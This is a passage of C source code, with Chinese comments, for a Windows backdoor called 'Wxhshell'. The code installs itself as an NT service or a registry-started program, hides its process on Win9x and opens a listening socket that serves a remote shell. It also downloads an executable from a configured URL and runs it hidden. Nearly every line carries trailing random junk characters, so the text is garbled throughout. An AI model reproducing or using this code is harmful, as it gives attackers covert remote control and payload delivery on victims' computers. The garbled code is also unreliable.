ULONG InheritedFromUniqueProcessId; Q})&c.L
} PROCESS_BASIC_INFORMATION; QYps5zcn
Z5eM
PROCNTQSIP NtQueryInformationProcess; rP IAu[],g
afE8Kqa:H
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7LsVlT[
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9^E!2CJ
^qLesP#
HANDLE hProcess; " ~q~)T1Z
PROCESS_BASIC_INFORMATION pbi; iL|5}x5\
lE$(*1H
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
[IgqK5@
if(NULL == hInst ) return 0; wW7# M
e4FR)d0x
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a H\A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ko"xR%Q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K"zRj L+
jS)YYk5
if (!NtQueryInformationProcess) return 0; U+[h^M$U
j>G|Xv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5|Oj\L{
if(!hProcess) return 0; f^lhdZ\
q+
`QiPj
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qWS"I+o,S
v >s,*
CloseHandle(hProcess); O7m-_#/\
EFv^uve
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y"k%Wa`*
if(hProcess==NULL) return 0; yIg^iZD
G +AP."M?
HMODULE hMod; 4m6/ba
char procName[255]; =s9*=5r 8
unsigned long cbNeeded; `A<2wd;
LTuT"}dT[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %CQv&d2
pTT00`R
CloseHandle(hProcess); 5> !N)pA
BS%pS(
if(strstr(procName,"services")) return 1; // 以服务启动
e ^ZY
u/V&1In
return 0; // 注册表启动 yd[4l%G(zS
} |uI~}pSG
@}pcj2K#
// 主模块 iU~xb?,,
int StartWxhshell(LPSTR lpCmdLine) |l@z7R+4*
{ WM7LCP
SOCKET wsl; *JAC+<~d
BOOL val=TRUE; Vi>P =i
int port=0; .>S1do+
struct sockaddr_in door; Gd$!xN%O
l| y.6v
if(wscfg.ws_autoins) Install(); 39I|.B"
m'M5O@?
port=atoi(lpCmdLine); s>%.bAxc
d[Zx [=h
if(port<=0) port=wscfg.ws_port; f4VdH#eng`
(}s& 84!
WSADATA data; @$nh6l>i
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z]D/Qr
{$>.I
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dKhS;!K9p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8_pyfb
door.sin_family = AF_INET; nJ$2RN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); C-g,uARX(r
door.sin_port = htons(port); Z<QNzJ D
wPq9`9 #
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .hUlI3z9
closesocket(wsl); ,3!TyQ\m'
return 1; 3!%-O:!
} ""Oir!4
,5j3(Lk
if(listen(wsl,2) == INVALID_SOCKET) { Q
pIec\a+
closesocket(wsl);
+hX=
return 1; rjj_]1?K
} ;-_ZWk]
Wxhshell(wsl); %gWQ}QF
WSACleanup(); gYbcBb%z
<~aKwSF[wW
return 0; P4.)kK.3q|
CHq5KB98+
} ym_as8A*Q
7 U-}Y
// 以NT服务方式启动 {&L^|X
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fnay{F8z
{ )l/
.<`|
DWORD status = 0; 5>UQ 3hWo
DWORD specificError = 0xfffffff; %Y"pVBc
?uU_N$x
serviceStatus.dwServiceType = SERVICE_WIN32; Jfo'iNOu
serviceStatus.dwCurrentState = SERVICE_START_PENDING; %dzO*/8cWo
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]{|lGtK %
serviceStatus.dwWin32ExitCode = 0; Q [C26U
serviceStatus.dwServiceSpecificExitCode = 0; # ,97 ]
serviceStatus.dwCheckPoint = 0; |'I>Ojm
serviceStatus.dwWaitHint = 0; KW3<5+w]c
<L<^uFB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u /DE
if (hServiceStatusHandle==0) return; q*tGlM@R?
Ep:hObWG)
status = GetLastError(); Bs|Xq'1M!;
if (status!=NO_ERROR) $G{j[iLY
{ y%x:~.
serviceStatus.dwCurrentState = SERVICE_STOPPED; r;"D>IM\
serviceStatus.dwCheckPoint = 0; n-{ d7haOa
serviceStatus.dwWaitHint = 0; x+ER 3wDD@
serviceStatus.dwWin32ExitCode = status; k_uI&,
serviceStatus.dwServiceSpecificExitCode = specificError; *$`N5;7'`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZJm$7T)V
return; \)6bLB!
} wLb:FB2
4jGN:*kZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; t0r0{:
serviceStatus.dwCheckPoint = 0; +@yU `
serviceStatus.dwWaitHint = 0; oI'& &Bt
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g^x=y
} ^2{ 6W6=
(h@!_qi9:
// 处理NT服务事件,比如:启动、停止 /y|ZAN
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2`j{n\/
{ A{M7
switch(fdwControl) iOSt=-p
{ :U=3*f.{
case SERVICE_CONTROL_STOP: )WW*X6[k
serviceStatus.dwWin32ExitCode = 0; Lusd kc7
serviceStatus.dwCurrentState = SERVICE_STOPPED; ofw&?Sk0
serviceStatus.dwCheckPoint = 0; <mj/P|P@
serviceStatus.dwWaitHint = 0; lpS v
{ 6VuyKt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,>za|y<n
} }0Uh<v@
return; /8nUecr
case SERVICE_CONTROL_PAUSE: DVMdRfA
serviceStatus.dwCurrentState = SERVICE_PAUSED; _0FMwC#DY
break; e6mm;@F>
case SERVICE_CONTROL_CONTINUE: /GM!3%'=
serviceStatus.dwCurrentState = SERVICE_RUNNING; {2mF\A#.
break; #:P$a%V
case SERVICE_CONTROL_INTERROGATE: ngmC~l*,
break; d:>'c=y
}; uK`gveY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >d &0a:
} J/:U,01
'o4`GkNh)
// 标准应用程序主函数 o0>|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V6'u\Ch|
{ /U0Hk>$~(
|)" y
// 获取操作系统版本 ^suQ7#g
OsIsNt=GetOsVer(); "I:*
GetModuleFileName(NULL,ExeFile,MAX_PATH); RAk"C!&^m
HV-;?5
// 从命令行安装 I8% -ii
if(strpbrk(lpCmdLine,"iI")) Install(); qY'+@^<U;
Pk;yn;
// 下载执行文件 7U1M;@y
if(wscfg.ws_downexe) { ,4`Vl<6
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ea][:3
WinExec(wscfg.ws_filenam,SW_HIDE); g/ShC8@=u
} 9nY|S{L
B$YoglEW:
if(!OsIsNt) { rx 74v!
// 如果时win9x,隐藏进程并且设置为注册表启动 'DNxc
HideProc(); IVZUB*wv)b
StartWxhshell(lpCmdLine); @$ Nti>
} <8Tp]1z
else (aC=,5N
if(StartFromService()) j|`lOH8
// 以服务方式启动 7SH3k=x
StartServiceCtrlDispatcher(DispatchTable); %'_:#!9
else &0\:MJc
// 普通方式启动 Y`{62J8oy
StartWxhshell(lpCmdLine); 1gcWw, /
6-tIe_5
return 0; zPybPE8
}